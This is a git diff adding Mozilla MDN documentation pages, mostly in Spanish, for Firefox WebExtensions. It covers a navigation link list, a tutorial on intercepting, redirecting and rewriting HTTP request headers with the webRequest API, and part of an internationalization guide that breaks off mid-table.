+ <li><a href="https://developer.mozilla.org/en-US/Add-ons/WebExtensions/User_experience_best_practices">Buenas prácticas para la experiencia de usuario</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/Add-ons/WebExtensions/Native_manifests">Manifestaciones nativas</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/User_actions">Acciones de los usuarios</a></li>
+</ul>
+
+<p> </p>
+
+<h2 id="Interfaz_de_usuario">Interfaz de usuario</h2>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/es/Add-ons/WebExtensions/user_interface">Introducción</a></li>
+ <li><a href="https://developer.mozilla.org/es/Add-ons/WebExtensions/user_interface/Accion_navegador">Botón en la barra de herramientas del navegador</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/Add-ons/WebExtensions/user_interface/Popups">Botón en barra de herramientas del navegador con una ventana emergente</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/Add-ons/WebExtensions/user_interface/Page_actions">Botón en la barra de direcciones</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/Add-ons/WebExtensions/user_interface/Popups">Botón en barra de direcciones con una ventana emergente</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/Add-ons/WebExtensions/user_interface/Context_menu_items">Elementos en el menú contextual</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/Add-ons/WebExtensions/user_interface/Sidebars">Barras laterales</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/Add-ons/WebExtensions/user_interface/Options_pages">Página de opciones</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/Add-ons/WebExtensions/user_interface/Extension_pages">Páginas de extensiones</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/Add-ons/WebExtensions/user_interface/Notifications">Notificaciones</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/Add-ons/WebExtensions/user_interface/Omnibox">Sugerencias en la barra de direcciones</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/Add-ons/WebExtensions/user_interface/devtools_panels">Paneles de herramientas para desarrolladores</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/user_interface/Browser_styles">Estilos del navegador</a></li>
+</ul>
+
+<h2 id="Cómo">Cómo</h2>
+
+<ul>
+ <li><a href="/es/docs/Mozilla/Add-ons/WebExtensions/Intercept_HTTP_requests">Interceptar solicitudes HTTP</a></li>
+ <li><a href="/es/docs/Mozilla/Add-ons/WebExtensions/Modify_a_web_page">Modificar una página web</a></li>
+ <li><a href="/es/docs/Mozilla/Add-ons/WebExtensions/Add_a_button_to_the_toolbar">Agregar un botón a la barra de herramientas</a></li>
+ <li><a href="/es/docs/Mozilla/Add-ons/WebExtensions/Implement_a_settings_page">Implementar una página de configuración</a></li>
+ <li><a href="/es/docs/Mozilla/Add-ons/WebExtensions/Interact_with_the_clipboard">Interactuar con el portapapapeles</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/Add-ons/WebExtensions/Working_with_the_Tabs_API">Trabajar con el API de las pestañas</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/Add-ons/WebExtensions/Work_with_the_Bookmarks_API">Trabajar con el API de los marcadores</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/Add-ons/WebExtensions/Work_with_the_Cookies_API">Trabajar con el API de las cookies</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/Add-ons/WebExtensions/Work_with_contextual_identities">Trabjar con identidades contextuales</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/Add-ons/WebExtensions/Safely_inserting_external_content_into_a_page">Insertar contenido externo</a></li>
+</ul>
+
+<h2 id="Portado">Portado</h2>
+
+<ul>
+ <li><a href="/es/Add-ons/WebExtensions/Porting_from_Google_Chrome">Portar una extensión de Google Chrome</a></li>
+ <li><a href="/es/docs/Mozilla/Add-ons/WebExtensions/Porting_a_legacy_Firefox_add-on">Portar un complemento heredado de Firefox</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/Add-ons/WebExtensions/Developing_WebExtensions_for_Firefox_for_Android">Desarrollo para Firefox para Android</a></li>
+ <li><a href="/es/docs/Mozilla/Add-ons/WebExtensions/Embedded_WebExtensions">WebExtensions integradas</a></li>
+ <li><a href="/es/docs/Mozilla/Add-ons/WebExtensions/Comparison_with_the_Add-on_SDK">Comparación con el complemento SDK</a></li>
+ <li><a href="/es/docs/Mozilla/Add-ons/WebExtensions/Comparison_with_XUL_XPCOM_extensions">Comparación con las extensiones XUL/XPCOM</a></li>
+ <li><a href="/es/docs/Mozilla/Add-ons/WebExtensions/Chrome_incompatibilities">Incompatibilidades con Chrome</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/Add-ons/WebExtensions/Differences_between_desktop_and_Android">Diferencias entre el escritorio y Android</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/Differences_between_API_implementations">Diferencias entre implementaciones de API</a></li>
+</ul>
+
+<h2 id="Flujo_de_trabajo_de_Firefox">Flujo de trabajo de Firefox</h2>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/en-US/Add-ons/WebExtensions/User_experience_best_practices">Experiencia de usuario</a></li>
+ <li><a href="/es/Add-ons/WebExtensions/Temporary_Installation_in_Firefox">Instalación</a></li>
+ <li><a href="/es/Add-ons/WebExtensions/Debugging">Depuración</a></li>
+ <li>
+  <div id="gt-res-content">
+  <div class="trans-verified-button-large" dir="ltr" id="gt-res-dir-ctr">
+  <div id="tts_button"><a href="https://developer.mozilla.org/en-US/Add-ons/WebExtensions/Testing_persistent_and_restart_features">Prueba de funciones persistentes y de reinicio</a></div>
+  </div>
+  </div>
+ </li>
+ <li><a href="/es/docs/Mozilla/Add-ons/WebExtensions/Getting_started_with_web-ext">Primeros pasos con web-ext</a></li>
+ <li><a href="/es/docs/Mozilla/Add-ons/WebExtensions/web-ext_command_reference">Referencia del comando web-ext</a></li>
+ <li><a href="/es/docs/Mozilla/Add-ons/WebExtensions/WebExtensions_and_the_Add-on_ID">Extensiones y el ID del complemento</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/Add-ons/WebExtensions/Alternative_distribution_options">Opciones alternativas de distribución</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/Add-ons/WebExtensions/Sharing_objects_with_page_scripts">Solicite los permisos correctos</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/Add-ons/WebExtensions/Sharing_objects_with_page_scripts">Compartir objetos con guiones de página</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/Add-ons/Distribution/Retiring_your_extension">Retirando su extensión</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/Tips">Consejos y trucos</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/Development_Tools">Herramientas de desarrollo para las extensiones del navegador</a></li>
+</ul>
+</div>
+
+<div class="section">
+<h2 id="Reference">Reference</h2>
+
+<h3 id="JavaScript_APIs">JavaScript APIs</h3>
+
+<ul>
+ <li><a href="/es/docs/Mozilla/Add-ons/WebExtensions/API">Descripción general de la API JavaScript</a></li>
+ <li><a href="/es/Add-ons/WebExtensions/Browser_support_for_JavaScript_APIs">Tablas de compatibilidad del navegador para las API de JavaScript</a></li>
+</ul>
+
+<h4 id="APIs_de_JavaScript">APIs de JavaScript</h4>
+
+<div class="twocolumns">{{ListSubpages("/en-US/Add-ons/WebExtensions/API")}}</div>
+
+<h3 id="Manifest_keys">Manifest keys</h3>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/es/Add-ons/WebExtensions/manifest.json">Resumen del manifest.json</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/Browser_compatibility_for_manifest.json">Compatibilidad del navegador para el manifest.json</a></li>
+</ul>
+
+<div class="twocolumns">{{ListSubpages("/en-US/Add-ons/WebExtensions/manifest.json")}}</div>
+</div>
+</div>
+
+<div class="SnapLinksContainer" style="margin-left: 0px; margin-top: 0px; display: none;">
+<div class="SL_SelectionRect">
+<div class="SL_SelectionLabel"> </div>
+</div>
+</div>
diff --git a/files/es/mozilla/add-ons/webextensions/intercept_http_requests/index.html b/files/es/mozilla/add-ons/webextensions/intercept_http_requests/index.html
new file mode 100644
index 0000000000..a87d079ecd
--- /dev/null
+++ b/files/es/mozilla/add-ons/webextensions/intercept_http_requests/index.html
@@ -0,0 +1,156 @@
+---
+title: Interceptar peticiones HTTP
+slug: Mozilla/Add-ons/WebExtensions/Intercept_HTTP_requests
+tags:
+  - Complementos
+  - Cómos
+  - WebExtensions
+  - extensiones
+translation_of: Mozilla/Add-ons/WebExtensions/Intercept_HTTP_requests
+---
+<div>{{AddonSidebar}}</div>
+
+<p>Para interceptar peticiones HTTP, utilice la API {{WebExtAPIRef("webRequest")}}. Esta API le permite agregar escuchadores de evento para varias etapas en la realización de las solicitudes HTTP. En los escuchadores, tu puedes:</p>
+
+<ul>
+ <li>Obtener acceso a la solicitud y respuesta de las cabeceras y cuerpos</li>
+ <li>Cancelar y redireccionar las solicitudes</li>
+ <li>Modificar las solicitudes y respuestas de las cabeceras</li>
+</ul>
+
+<p>En este artículo se verán los tres diferentes usos del módulo <code>webRequest</code>:</p>
+
+<ul>
+ <li>Registro de solicitudes de URLs a medida que se realizan.</li>
+ <li>Redireccionar las solicitudes.</li>
+ <li>Modificar las cabeceras de las solicitud.</li>
+</ul>
+
+<h2 id="Registrar_solicitudes_de_URLs">Registrar solicitudes de URLs</h2>
+
+<p>Crea un nuevo directorio llamado "requests". En ese directorio, crea un archivo llamado "manifest.json" el cual debe poseer el siguiente contenido:</p>
+
+<pre class="brush: json">{
+  "description": "Demostrar webRequests",
+  "manifest_version": 2,
+  "name": "webRequest-demo",
+  "version": "1.0",
+
+  "permissions": [
+    "webRequest"
+  ],
+
+  "background": {
+    "scripts": ["background.js"]
+  }
+}</pre>
+
+<p>Luego, crea un archivo llamado "background.js" con el siguiente contenido:</p>
+
+<pre class="brush: js">function logURL(requestDetails) {
+  console.log("Cargando: " + requestDetails.url);
+}
+
+browser.webRequest.onBeforeRequest.addListener(
+  logURL,
+  {urls: ["&lt;all_urls&gt;"]}
+);
+
+</pre>
+
+<p>En este punto se utiliza {{WebExtAPIRef("webRequest.onBeforeRequest", "onBeforeRequest")}} para llamar la función <code>logURL()</code> junstamente después de realizar la solicitud. La función <code>logURL()</code> se apropia de la solicitud URL del objeto de eventos y lo registra en la consola del navegador. <code>El </code><a href="/es/Add-ons/WebExtensions/Match_patterns">patrón</a><code> {urls: ["&lt;all_urls&gt;"]}</code> signinifica que se pueden interceptar todas las solicitudes HTTP de todas las URLs.</p>
+
+<p>Para probarlo, <a href="/esAdd-ons/WebExtensions/Temporary_Installation_in_Firefox">instala la WebExtension</a>, <a href="/es/docs/Tools/Browser_Console">abre la consola del navegador</a>, y abre algunas páginas Web. En la consola del navegador, deberías ver las URLs de cualquier recurso que el navegador solicita:</p>
+
+<p>{{EmbedYouTube("X3rMgkRkB1Q")}}</p>
+
+<h2 id="Redireccionar_solicitudes">Redireccionar solicitudes</h2>
+
+<p>Ahora utilice <code>webRequest</code> para redireccionar todas las solicitudes HTTP. Primero, reemplace manifest.json con lo siguiente:</p>
+
+<pre class="brush: json">{
+
+  "description": "Demostrar webRequests",
+  "manifest_version": 2,
+  "name": "webRequest-demo",
+  "version": "1.0",
+
+  "permissions": [
+    "webRequest", "webRequestBlocking"
+  ],
+
+  "background": {
+    "scripts": ["background.js"]
+  }
+
+}</pre>
+
+<p>El único cambio fue la adición de los <code><a href="/es/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions">permisos</a></code> <code>"webRequestBlocking"</code>. Se necesita preguntar por este extra-permiso todas las veces que se está activamente modificando una solicitud.</p>
+
+<p>Luego, reemplace "background.js" con esto:</p>
+
+<pre class="brush: js">var pattern = "https://mdn.mozillademos.org/*";
+
+function redirect(requestDetails) {
+  console.log("Redireccionando: " + requestDetails.url);
+  return {
+    redirectUrl: "https://38.media.tumblr.com/tumblr_ldbj01lZiP1qe0eclo1_500.gif"
+  };
+}
+
+browser.webRequest.onBeforeRequest.addListener(
+  redirect,
+  {urls:[pattern], types:["image"]},
+  ["blocking"]
+);</pre>
+
+<p>De nuevo, se utiliza el escuchador de evento {{WebExtAPIRef("webRequest.onBeforeRequest", "onBeforeRequest")}} para ejecutar una función justamente antes de que cada solicitud sea realizada. Esta función reemplazará el objetivo URL con <code>redirectUrl</code> que está definido en la función.</p>
+
+<p>Esta vez no se está interceptando cada solicitud: la opción <code>{urls:[pattern], types:["image"]}</code> especifica que solo se debería interceptar solicitudes (1) de URLs que residen bajo "https://mdn.mozillademos.org/" (2) para recursos de imágenes. Vea {{WebExtAPIRef("webRequest.RequestFilter")}} para más información sobre esto.</p>
+
+<p>Dése cuenta también, que se esta pasando la opción llamada <code>"blocking"</code>: se necesita pasar cada vez que se requiera modificar la solicitud. Esto hace que la función del escuchador bloquee la solicitud de la red, así que el navegador espera que el escuchador retorne antes de continuar. Vea la documentación {{WebExtAPIRef("webRequest.onBeforeRequest")}} para conocer más sobre <code>"blocking"</code>.</p>
+
+<p>Para probarlo, abra una página de MDN que contenga bastantes imágenes (por ejemplo <a href="https://developer.mozilla.org/en-US/docs/Tools/Network_Monitor">https://developer.mozilla.org/en-US/docs/Tools/Network_Monitor</a>), <a href="/en-US/Add-ons/WebExtensions/Temporary_Installation_in_Firefox#Reloading_a_temporary_add-on">recargue la WebExtension</a>, y luego recargue la página de MDN:</p>
+
+<p>{{EmbedYouTube("ix5RrXGr0wA")}}</p>
+
+<h2 id="Modificar_las_cabeceras_de_la_solicitud">Modificar las cabeceras de la solicitud</h2>
+
+<p>Finalmente se utilizará <code>webRequest</code> para modificar las cabeceras de las solicitudes. En este ejempo se modificará la cabecera "User-Agent" así que el navegador se identificará por sí mismo como Opera 12.16, pero solamente cuando se visitan páginas de "http://useragentstring.com/".</p>
+
+<p>El "manifest.json" puede permanecer igual que el ejemplo anterior.</p>
+
+<p>Reemplace "background.js" con el siguiente código:</p>
+
+<pre class="brush: js">var targetPage = "http://useragentstring.com/*";
+
+var ua = "Opera/9.80 (X11; Linux i686; Ubuntu/14.10) Presto/2.12.388 Version/12.16";
+
+function rewriteUserAgentHeader(e) {
+  for (var header of e.requestHeaders) {
+    if (header.name == "User-Agent") {
+      header.value = ua;
+    }
+  }
+  return {requestHeaders: e.requestHeaders};
+}
+
+browser.webRequest.onBeforeSendHeaders.addListener(
+  rewriteUserAgentHeader,
+  {urls: [targetPage]},
+  ["blocking", "requestHeaders"]
+);</pre>
+
+<p>Aquí se utiliza el escuchador de eventos {{WebExtAPIRef("webRequest.onBeforeSendHeaders", "onBeforeSendHeaders")}} para ejecutar una función juntamente antes de que la solicitud de las cabeceras sean enviadas.</p>
+
+<p>La función escuchadora será llamada solamente por solicitudes de URLs que coincidan con el <a href="/es/Add-ons/WebExtensions/Match_patterns">patrón </a><code>targetPage</code>. Dése cuenta de nuevo que <code>"blocking"</code> se ha pasado como una opción. También se pasó <code>"requestHeaders"</code>, lo cual significa que al escuchador pasará un array conteniendo las cabeceras de la solicitud que se espera enviar. Vea {{WebExtAPIRef("webRequest.onBeforeSendHeaders")}} para más información en estas opciones.</p>
+
+<p>La función escuchadora busca la cabecera "User-Agent" en el array de la solicitud de cabeceras, reemplaza el valor con el valor de la variable <code>ua</code>, y regresa el array modificado. Este array modificado será el enviado al servidor.</p>
+
+<p>Para comprobarlo, abra <a href="http://useragentstring.com/">useragentstring.com</a> y verifique que identifica al navegador como Firefox. Luego recargue el complemento, recargue <a href="http://useragentstring.com/">useragentstring.com</a>, y compruebe que Firefox es identificado ahora como Opera:</p>
+
+<p>{{EmbedYouTube("SrSNS1-FIx0")}}</p>
+
+<h2 id="Aprenda_más">Aprenda más</h2>
+
+<p>Para aprender más sobre todas las cosas que puede hacer con la API <code>webRequest</code>, vea su propia <a href="/en-US/Add-ons/WebExtensions/API/WebRequest">documentación de referencia</a>.</p>
diff --git a/files/es/mozilla/add-ons/webextensions/internationalization/index.html b/files/es/mozilla/add-ons/webextensions/internationalization/index.html
new file mode 100644
index 0000000000..89c542a2e7
--- /dev/null
+++ b/files/es/mozilla/add-ons/webextensions/internationalization/index.html
@@ -0,0 +1,405 @@
+---
+title: Internationalization
+slug: Mozilla/Add-ons/WebExtensions/Internationalization
+translation_of: Mozilla/Add-ons/WebExtensions/Internationalization
+---
+<pre class="brush: html notranslate"><span class="seoSummary"><kbd>H</kbd></span></pre>
+
+<p>The <a href="/en-US/docs/Mozilla/Add-ons/WebExtensions">WebExtensions</a> API has a rather handy module available for internationalizing extensions — <a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/i18n">i18n</a>. In this article we'll explore its features and provide a practical example of how it works. The i18n system for extensions built using WebExtension APIs is similar to common JavaScript libraries for i18n such as <a href="http://i18njs.com/">i18n.js</a>.</p>
+
+<div class="note">
+<p>The example extension featured in this article — <a href="https://github.com/mdn/webextensions-examples/tree/master/notify-link-clicks-i18n">notify-link-clicks-i18n</a> — is available on GitHub. Follow along with the source code as you go through the sections below.</p>
+</div>
+
+<h2 id="Anatomy_of_an_internationalized_extension">Anatomy of an internationalized extension</h2>
+
+<p>An internationalized extension can contain the same features as any other extension — <a href="/en-US/Add-ons/WebExtensions/Anatomy_of_a_WebExtension#Background_scripts">background scripts</a>, <a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Content_scripts">content scripts</a>, etc. — but it also has some extra parts to allow it to switch between different locales. These are summarized in the following directory tree:</p>
+
+<ul class="directory-tree">
+ <li>extension-root-directory/
+  <ul>
+   <li>_locales
+    <ul>
+     <li>en
+      <ul>
+       <li>messages.json
+        <ul>
+         <li>English messages (strings)</li>
+        </ul>
+       </li>
+      </ul>
+     </li>
+     <li>de
+      <ul>
+       <li>messages.json
+        <ul>
+         <li>German messages (strings)</li>
+        </ul>
+       </li>
+      </ul>
+     </li>
+     <li>etc.</li>
+    </ul>
+   </li>
+   <li>manifest.json
+    <ul>
+     <li>locale-dependent metadata</li>
+    </ul>
+   </li>
+   <li>myJavascript.js
+    <ul>
+     <li>JavaScript for retrieving browser locale, locale-specific messages, etc.</li>
+    </ul>
+   </li>
+   <li>myStyles.css
+    <ul>
+     <li>locale-dependent CSS</li>
+    </ul>
+   </li>
+  </ul>
+ </li>
+</ul>
+
+<p>Let's explore each of the new features in turn — each of the below sections represents a step to follow when internationalizing your extension.</p>
+
+<h2 id="Providing_localized_strings_in__locales">Providing localized strings in _locales</h2>
+
+<div class="pull-aside">
+<div class="moreinfo">You can look up language subtags using the <em>Find</em> tool on the <a href="https://r12a.github.io/app-subtags/">Language subtag lookup page</a>. Note that you need to search for the English name of the language.</div>
+</div>
+
+<p>Every i18n system requires the provision of strings translated into all the different locales you want to support. In extensions, these are contained within a directory called <code>_locales</code>, placed inside the extension root. Each individual locale has its strings (referred to as messages) contained within a file called <code>messages.json</code>, which is placed inside a subdirectory of <code>_locales</code>, named using the language subtag for that locale's language.</p>
+
+<p>Note that if the subtag includes a basic language plus a regional variant, then the language and variant are conventionally separated using a hyphen: for example, "en-US". However, in the directories under <code>_locales</code>, <strong>the separator must be an underscore</strong>: "en_US".</p>
+
+<p>So <a href="https://github.com/mdn/webextensions-examples/tree/master/notify-link-clicks-i18n/_locales">for example, in our sample app</a> we have directories for "en" (English), "de" (German), "nl" (Dutch), and "ja" (Japanese). Each one of these has a <code>messages.json</code> file inside it.</p>
+
+<p>Let's now look at the structure of one of these files (<a href="https://github.com/mdn/webextensions-examples/blob/master/notify-link-clicks-i18n/_locales/en/messages.json">_locales/en/messages.json</a>):</p>
+
+<pre class="brush: json notranslate">{
+  "extensionName": {
+    "message": "Notify link clicks i18n",
+    "description": "Name of the extension."
+  },
+
+  "extensionDescription": {
+    "message": "Shows a notification when the user clicks on links.",
+    "description": "Description of the extension."
+  },
+
+  "notificationTitle": {
+    "message": "Click notification",
+    "description": "Title of the click notification."
+  },
+
+  "notificationContent": {
+    "message": "You clicked $URL$.",
+    "description": "Tells the user which link they clicked.",
+    "placeholders": {
+      "url" : {
+        "content" : "$1",
+        "example" : "https://developer.mozilla.org"
+      }
+    }
+  }
+}</pre>
+
+<p>This file is standard JSON — each one of its members is an object with a name, which contains a <code>message</code> and a <code>description</code>. All of these items are strings; <code>$URL$</code> is a placeholder, which is replaced with a substring at the time the <code>notificationContent</code> member is called by the extension. You'll learn how to do this in the {{anch("Retrieving message strings from JavaScript")}} section.</p>
+
+<div class="note">
+<p><strong>Note</strong>: You can find much more information about the contents of <code>messages.json</code> files in our <a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/i18n/Locale-Specific_Message_reference">Locale-Specific Message reference</a>.</p>
+</div>
+
+<h2 id="Internationalizing_manifest.json">Internationalizing manifest.json</h2>
+
+<p>There are a couple of different tasks to carry out to internationalize your manifest.json.</p>
+
+<h3 id="Retrieving_localized_strings_in_manifests">Retrieving localized strings in manifests</h3>
+
+<p>Your <a href="https://github.com/mdn/webextensions-examples/blob/master/notify-link-clicks-i18n/manifest.json">manifest.json</a> includes strings that are displayed to the user, such as the extension's name and description. If you internationalize these strings and put the appropriate translations of them in messages.json, then the correct translation of the string will be displayed to the user, based on the current locale, like so.</p>
+
+<p>To internationalize strings, specify them like this:</p>
+
+<pre class="brush: json notranslate">"name": "__MSG_extensionName__",
+"description": "__MSG_extensionDescription__",</pre>
+
+<p>Here, we are retrieving message strings dependant on the browser's locale, rather than just including static strings.</p>
+
+<p>To call a message string like this, you need to specify it like this:</p>
+
+<ol>
+ <li>Two underscores, followed by</li>
+ <li>The string "MSG", followed by</li>
+ <li>One underscore, followed by</li>
+ <li>The name of the message you want to call as defined in <code>messages.json</code>, followed by</li>
+ <li>Two underscores</li>
+</ol>
+
+<pre class="notranslate"><strong>__MSG_</strong> + <em>messageName</em> + <strong>__</strong></pre>
+
+<h3 id="Specifying_a_default_locale">Specifying a default locale</h3>
+
+<p>Another field you should specify in your manifest.json is <a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/default_locale">default_locale</a>:</p>
+
+<pre class="brush: json notranslate">"default_locale": "en"</pre>
+
+<p>This specifies a default locale to use if the extension doesn't include a localized string for the browser's current locale. Any message strings that are not available in the browser locale are taken from the default locale instead. There are some more details to be aware of in terms of how the browser selects strings — see {{anch("Localized string selection")}}.</p>
+
+<h2 id="Locale-dependent_CSS">Locale-dependent CSS</h2>
+
+<p>Note that you can also retrieve localized strings from CSS files in the extension. For example, you might want to construct a locale-dependent CSS rule, like this:</p>
+
+<pre class="brush: css notranslate">header {
+  background-image: url(../images/__MSG_extensionName__/header.png);
+}</pre>
+
+<p>This is useful, although you might be better off handling such a situation using {{anch("Predefined messages")}}.</p>
+
+<h2 id="Retrieving_message_strings_from_JavaScript">Retrieving message strings from JavaScript</h2>
+
+<p>So, you've got your message strings set up, and your manifest. Now you just need to start calling your message strings from JavaScript so your extension can talk the right language as much as possible. The actual <a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/i18n">i18n API</a> is pretty simple, containing just four main methods:</p>
+
+<ul>
+ <li>You'll probably use {{WebExtAPIRef("i18n.getMessage()")}} most often — this is the method you use to retrieve a specific language string, as mentioned above. We'll see specific usage examples of this below.</li>
+ <li>The {{WebExtAPIRef("i18n.getAcceptLanguages()")}} and {{WebExtAPIRef("i18n.getUILanguage()")}} methods could be used if you needed to customize the UI depending on the locale — perhaps you might want to show preferences specific to the users' preferred languages higher up in a prefs list, or display cultural information relevant only to a certain language, or format displayed dates appropriately according to the browser locale.</li>
+ <li>The {{WebExtAPIRef("i18n.detectLanguage()")}} method could be used to detect the language of user-submitted content, and format it appropriately.</li>
+</ul>
+
+<p>In our <a href="https://github.com/mdn/webextensions-examples/tree/master/notify-link-clicks-i18n">notify-link-clicks-i18n</a> example, the<a href="https://github.com/mdn/webextensions-examples/blob/master/notify-link-clicks-i18n/background-script.js"> background script</a> contains the following lines:</p>
+
+<pre class="brush: js notranslate">var title = browser.i18n.getMessage("notificationTitle");
+var content = browser.i18n.getMessage("notificationContent", message.url);</pre>
+
+<p>The first one just retrieves the <code>notificationTitle message</code> field from the available <code>messages.json</code> file most appropriate for the browser's current locale. The second one is similar, but it is being passed a URL as a second parameter. What gives? This is how you specify the content to replace the <code>$URL$</code> placeholder we see in the <code>notificationContent message</code> field:</p>
+
+<pre class="brush: json notranslate">"notificationContent": {
+  "message": "You clicked $URL$.",
+  "description": "Tells the user which link they clicked.",
+  "placeholders": {
+    "url" : {
+      "content" : "$1",
+      "example" : "https://developer.mozilla.org"
+    }
+  }
+}
+</pre>
+
+<p>The <code>"placeholders"</code> member defines all the placeholders, and where they are retrieved from. The <code>"url"</code> placeholder specifies that its content is taken from $1, which is the first value given inside the second parameter of <code>getMessage()</code>. Since the placeholder is called <code>"url"</code>, we use <code>$URL$</code> to call it inside the actual message string (so for <code>"name"</code> you'd use <code>$NAME$</code>, etc.) If you have multiple placeholders, you can provide them inside an array that is given to {{WebExtAPIRef("i18n.getMessage()")}} as the second parameter — <code>[a, b, c]</code> will be available as <code>$1</code>, <code>$2</code>, and <code>$3</code>, and so on, inside <code>messages.json</code>.</p>
+
+<p>Let's run through an example: the original <code>notificationContent</code> message string in the <code>en/messages.json</code> file is</p>
+
+<pre class="notranslate">You clicked $URL$.</pre>
+
+<p>Let's say the link clicked on points to <code>https://developer.mozilla.org</code>. After the {{WebExtAPIRef("i18n.getMessage()")}} call, the contents of the second parameter are made available in messages.json as <code>$1</code>, which replaces the <code>$URL$</code> placeholder as defined in the <code>"url"</code> placeholder. So the final message string is</p>
+
+<pre class="notranslate">You clicked https://developer.mozilla.org.</pre>
+
+<h3 id="Direct_placeholder_usage">Direct placeholder usage</h3>
+
+<p>It is possible to insert your variables (<code>$1</code>, <code>$2</code>, <code>$3</code>, etc.) directly into the message strings, for example we could rewrite the above <code>"notificationContent"</code> member like this:</p>
+
+<pre class="brush: json notranslate">"notificationContent": {
+  "message": "You clicked $1.",
+  "description": "Tells the user which link they clicked."
+}</pre>
+
+<p>This may seem quicker and less complex, but the other way (using <code>"placeholders"</code>) is seen as best practice. This is because having the placeholder name (e.g. <code>"url"</code>) and example helps you to remember what the placeholder is for — a week after you write your code, you'll probably forget what <code>$1</code>–<code>$8</code> refer to, but you'll be more likely to know what your placeholder names refer to.</p>
+
+<h3 id="Hardcoded_substitution">Hardcoded substitution</h3>
+
+<p>It is also possible to include hardcoded strings in placeholders, so that the same value is used every time, instead of getting the value from a variable in your code. For example:</p>
+
+<pre class="brush: json notranslate">"mdn_banner": {
+  "message": "For more information on web technologies, go to $MDN$.",
+  "description": "Tell the user about MDN",
+  "placeholders": {
+    "mdn": {
+      "content": "https://developer.mozilla.org/"
+    }
+  }
+}</pre>
+
+<p>In this case we are just hardcoding the placeholder content, rather than getting it from a variable value like <code>$1</code>. This can sometimes be useful when your message file is very complex, and you want to split up different values to make the strings more readable in the file, plus then these values could be accessed programmatically.</p>
+
+<p>In addition, you can use such substitutions to specify parts of the string that you don't want to be translated, such as person or business names.</p>
+
+<h2 id="Localized_string_selection">Localized string selection</h2>
+
+<p>Locales can be specified using only a language code, like <code>fr</code> or <code>en</code>, or they may be further qualified with a region code, like <code>en_US</code> or <code>en_GB</code>, which describes a regional variant of the same basic language. When you ask the i18n system for a string, it will select a string using the following algorithm:</p>
+
+<ol>
+ <li>if there is a <code>messages.json</code> file for the exact current locale, and it contains the string, return it.</li>
+ <li>Otherwise, if the current locale is qualified with a region (e.g. <code>en_US</code>) and there is a <code>messages.json</code> file for the regionless version of that locale (e.g. <code>en</code>), and that file contains the string, return it.</li>
+ <li>Otherwise, if there is a <code>messages.json</code> file for the <code>default_locale</code> defined in the <code>manifest.json</code>, and it contains the string, return it.</li>
+ <li>Otherwise return an empty string.</li>
+</ol>
+
+<p>Take the following example:</p>
+
+<ul class="directory-tree">
+ <li>extension-root-directory/
+  <ul>
+   <li>_locales
+    <ul>
+     <li>en_GB
+      <ul>
+       <li>messages.json
+        <ul>
+         <li><code>{ "colorLocalised": { "message": "colour", "description": "Color." }, ... }</code></li>
+        </ul>
+       </li>
+      </ul>
+      en
+
+      <ul>
+       <li>messages.json
+        <ul>
+         <li><code>{ "colorLocalised": { "message": "color", "description": "Color." }, ... }</code></li>
+        </ul>
+       </li>
+      </ul>
+     </li>
+     <li>fr
+      <ul>
+       <li>messages.json
+        <ul>
+         <li><code>{ "colorLocalised": { "message": "<span lang="fr">couleur</span>", "description": "Color." }, ...}</code></li>
+        </ul>
+       </li>
+      </ul>
+     </li>
+    </ul>
+   </li>
+  </ul>
+ </li>
+</ul>
+
+<p>Suppose the <code>default_locale</code> is set to <code>fr</code>, and the browser's current locale is <code>en_GB</code>:</p>
+
+<ul>
+ <li>If the extension calls <code>getMessage("colorLocalised")</code>, it will return "colour".</li>
+ <li>If "colorLocalised" were not present in <code>en_GB</code>, then <code>getMessage("colorLocalised")</code>, would return "color", not "couleur".</li>
+</ul>
+
+<h2 id="Predefined_messages">Predefined messages</h2>
+
+<p>The i18n module provides us with some predefined messages, which we can call in the same way as we saw earlier in {{anch("Calling message strings from manifests and extension CSS")}}. For example:</p>
+
+<pre class="notranslate">__MSG_extensionName__</pre>
+
+<p>Predefined messages use exactly the same syntax, except with <code>@@</code> before the message name, for example</p>
+
+<pre class="notranslate">__MSG_@@ui_locale__</pre>
+
+<p>The following table shows the different available predefined messages:</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Message name</th>
+   <th scope="col">Description</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>@@extension_id</code></td>
+   <td>
